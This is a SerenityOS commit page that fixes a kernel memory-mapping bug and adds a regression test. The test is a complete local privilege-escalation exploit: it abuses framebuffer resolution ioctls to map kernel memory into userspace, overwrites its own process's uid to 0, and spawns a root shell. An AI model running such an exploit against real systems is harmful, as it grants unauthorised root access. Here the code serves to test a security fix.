diff options
author | Andreas Kling <kling@serenityos.org> | 2020-01-28 20:48:07 +0100 |
---|---|---|
committer | Andreas Kling <kling@serenityos.org> | 2020-01-28 20:48:07 +0100 |
commit | c17f80e720b269e88700af4ea13f877b6d72303b (patch) | |
tree | ac5327d746b197c0d2c10015d302964bd09e89d2 /Tests | |
parent | bd059e32e14fa4ee6b498be4cc50ae678040d1d4 (diff) | |
download | serenity-c17f80e720b269e88700af4ea13f877b6d72303b.zip |
Kernel: AnonymousVMObject::create_for_physical_range() should fail more
Previously it was not possible for this function to fail. You could
exploit this by triggering the creation of a VMObject whose physical
memory range would wrap around the 32-bit limit.
It was quite easy to map kernel memory into userspace and read/write
whatever you wanted in it.
Test: Kernel/bxvga-mmap-kernel-into-userspace.cpp
Diffstat (limited to 'Tests')
-rw-r--r-- | Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp | 92 |
1 files changed, 92 insertions, 0 deletions
diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp new file mode 100644 index 0000000000..988860427a --- /dev/null +++ b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp @@ -0,0 +1,92 @@ +#include <AK/Types.h> +#include <fcntl.h> +#include <stdio.h> +#include <string.h> +#include <sys/ioctl.h> +#include <sys/mman.h> +#include <unistd.h> + +int main() +{ + int fd = open("/dev/fb0", O_RDWR); + if (fd < 0) { + perror("open"); + return 1; + } + + size_t width = 17825; + size_t height = 1000; + size_t pitch = width * 4; + size_t framebuffer_size_in_bytes = pitch * height * 2; + + FBResolution original_resolution; + if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + FBResolution resolution; + resolution.width = width; + resolution.height = height; + resolution.pitch = pitch; + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) { + perror("ioctl"); + return 1; + } + + auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + return 1; + } + + printf("Success! Evil pointer: %p\n", ptr); + + u8* base = &ptr[128 * MB]; + + uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4]; + printf("base = %p\n", base); + printf("g_processes = %#08x\n", g_processes); + + auto get_ptr = [&](uintptr_t value) -> void* { + value -= 0xc0000000; + return (void*)&base[value]; + }; + + struct ProcessList { + uintptr_t head; + uintptr_t tail; + }; + + struct Process { + // 32 next + // 40 pid + // 44 uid + u8 dummy[32]; + uintptr_t next; + u8 dummy2[4]; + pid_t pid; + uid_t uid; + }; + + ProcessList* process_list = (ProcessList*)get_ptr(g_processes); + + Process* process = (Process*)get_ptr(process_list->head); + + printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next); + + if (process->pid == getpid()) { + printf("That's me! Let's become r00t!\n"); + process->uid = 0; + } + + if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) { + perror("ioctl"); + return 1; + } + + execl("/bin/sh", "sh", nullptr); + + return 0; +} |